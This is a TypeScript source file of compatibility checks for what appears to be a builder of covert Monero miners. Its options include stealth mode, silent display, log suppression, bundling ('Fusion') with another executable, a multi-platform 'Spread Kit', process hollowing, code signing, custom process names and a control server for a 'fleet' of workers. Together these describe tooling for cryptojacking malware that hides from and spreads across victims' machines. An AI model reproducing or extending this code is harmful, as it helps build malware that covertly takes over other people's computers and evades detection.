import type { BuildRequest } from '../types';
import type { PreflightCheck } from './forgeValidation';

function looksLikeXMRWallet(addr: string): boolean {
  const a = addr.trim();
  // Standard Monero addresses start with 4, subaddresses with 8
  return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
}

/** Extra incompatibility checks beyond basic validation. */
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
  const checks: PreflightCheck[] = [];

  if (form.stealth_mode && form.display_mode === 'visible') {
    checks.push({
      id: 'stealth_display',
      level: 'error',
      message: 'Stealth mode cannot use Visible display — switch display to Silent/Background or turn off Stealth.',
    });
  }

  if (form.stealth_mode && form.file_logging) {
    checks.push({
      id: 'stealth_logs',
      level: 'error',
      message: 'Stealth mode disables log files — turn off "Write miner.log" or disable Stealth.',
    });
  }

  if (form.fusion_enabled && form.display_mode === 'visible') {
    checks.push({
      id: 'fusion_display',
      level: 'error',
      message: 'Fusion builds require silent/background display — Visible mode is not allowed with Fusion.',
    });
  }

  if (form.mining_mode === 'idle') {
    if (form.idle_threshold_pct < 1 || form.idle_threshold_pct > 100) {
      checks.push({
        id: 'idle_threshold',
        level: 'error',
        message: 'Idle CPU threshold must be between 1 and 100 when using Idle mining mode.',
      });
    }
    if (form.idle_duration_minutes < 1) {
      checks.push({
        id: 'idle_duration',
        level: 'error',
        message: 'Idle duration must be at least 1 minute when using Idle mining mode.',
      });
    }
  }

  if (form.mining_mode === 'scheduled') {
    if (!form.schedule_start || !form.schedule_end) {
      checks.push({
        id: 'schedule',
        level: 'error',
        message: 'Scheduled mode requires both Start Time and End Time.',
      });
    }
  }

  if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
    checks.push({
      id: 'adapt_fixed',
      level: 'warn',
      message: 'Adapt to hardware is ignored when Thread Mode is Fixed — consider turning it off.',
    });
  }

  if (form.thread_mode === 'percent' && (form.thread_percent < 1 || form.thread_percent > 100)) {
    checks.push({
      id: 'thread_percent_range',
      level: 'error',
      message: 'Thread Percent must be between 1 and 100.',
    });
  }

  if (form.max_cpu_usage_pct < 1 || form.max_cpu_usage_pct > 100) {
    checks.push({
      id: 'max_cpu',
      level: 'error',
      message: 'Max CPU Usage must be between 1 and 100.',
    });
  }

  if (form.max_memory_percent < 10 || form.max_memory_percent > 95) {
    checks.push({
      id: 'max_mem',
      level: 'error',
      message: 'Max Memory must be between 10 and 95.',
    });
  }

  if (form.pool_port < 1 || form.pool_port > 65535) {
    checks.push({
      id: 'pool_port',
      level: 'error',
      message: 'Pool port must be between 1 and 65535.',
    });
  }

  if (form.pool_port === 443 && !form.pool_tls) {
    checks.push({
      id: 'pool_tls_443',
      level: 'warn',
      message: 'Port 443 typically requires TLS — enable Use TLS/SSL unless your pool says otherwise.',
    });
  }

  if (form.pool_tls && form.pool_port === 3333) {
    checks.push({
      id: 'pool_tls_3333',
      level: 'warn',
      message: 'TLS on port 3333 is unusual — confirm with your pool (many use 443 for SSL).',
    });
  }

  if (!form.pool_pass.trim()) {
    checks.push({
      id: 'pool_pass',
      level: 'warn',
      message: 'Pool password empty — will default to "x" (standard for Monero).',
    });
  }

  if (form.run_as === 'service') {
    checks.push({
      id: 'run_as_service',
      level: 'warn',
      message: '"Windows Service" uses a scheduled task under the hood — not a true SCM service.',
    });
  }

  if (form.ai_enabled && form.ai_ollama_endpoint.includes('127.0.0.1')) {
    checks.push({
      id: 'ai_localhost',
      level: 'warn',
      message: 'Ollama URL uses 127.0.0.1 (Control Server). This is correct if Ollama is running on this machine.',
    });
  }

  if (form.ai_enabled && !form.self_healing) {
    checks.push({
      id: 'ai_no_heal',
      level: 'warn',
      message: 'AI Autonomy works best with Self-healing enabled — consider turning it on.',
    });
  }

  const processName = form.process_name || '';
  if (!processName.trim()) {
    checks.push({
      id: 'process_name_empty',
      level: 'error',
      message: 'Process Name is required. This determines the installed .exe name.',
    });
  } else if (!/^[a-zA-Z0-9._-]+$/.test(processName.trim())) {
    checks.push({
      id: 'process_name',
      level: 'warn',
      message: 'Process name has unusual characters — use letters, numbers, dash, underscore only.',
    });
  }

  const wallet = form.wallet || '';
  const poolHost = form.pool_host || '';
  const workerName = form.worker_name || '';
  const serverUrl = form.server_url || '';

  if (!workerName.trim()) {
    checks.push({
      id: 'worker_name_empty',
      level: 'error',
      message: 'Worker Name is required. This identifies the machine in your fleet.',
    });
  }

  if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
    checks.push({
      id: 'server_url_localhost',
      level: 'error',
      message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
    });
  }

  if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
    checks.push({
      id: 'wallet_invalid',
      level: 'warn',
      message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
    });
  }

  if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
    checks.push({
      id: 'forge_ready',
      level: 'ok',
      message: 'Core miner config looks coherent — wallet, pool, and identity are set.',
    });
  }

  if (form.fusion_enabled && fusionPrepSelected) {
    checks.push({
      id: 'fusion_ready',
      level: 'ok',
      message: 'Fusion prep.exe attached — ready to bundle.',
    });
  }

  if (form.spread_kit && form.target_os !== 'universal') {
    checks.push({
      id: 'spread_kit_os',
      level: 'error',
      message: 'Spread Kit requires Universal target — it ships all platforms in one ZIP.',
    });
  }

  if (form.spread_kit && form.fusion_enabled) {
    checks.push({
      id: 'spread_fusion',
      level: 'error',
      message: 'Spread Kit and Fusion cannot both be enabled — pick one deliverable type.',
    });
  }

  if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
    checks.push({
      id: 'universal_deliverable',
      level: 'warn',
      message: 'Target OS is Universal but no Spread Kit or Fusion — choose a deliverable type or switch to a single platform.',
    });
  }

  if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.process_hollowing) {
    checks.push({
      id: 'hollow_unix',
      level: 'error',
      message: 'Process hollowing is not available on Linux or macOS.',
    });
  }

  if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.sign_build) {
    checks.push({
      id: 'sign_unix',
      level: 'error',
      message: 'Authenticode signing only applies to Windows builds.',
    });
  }

  return checks;
}
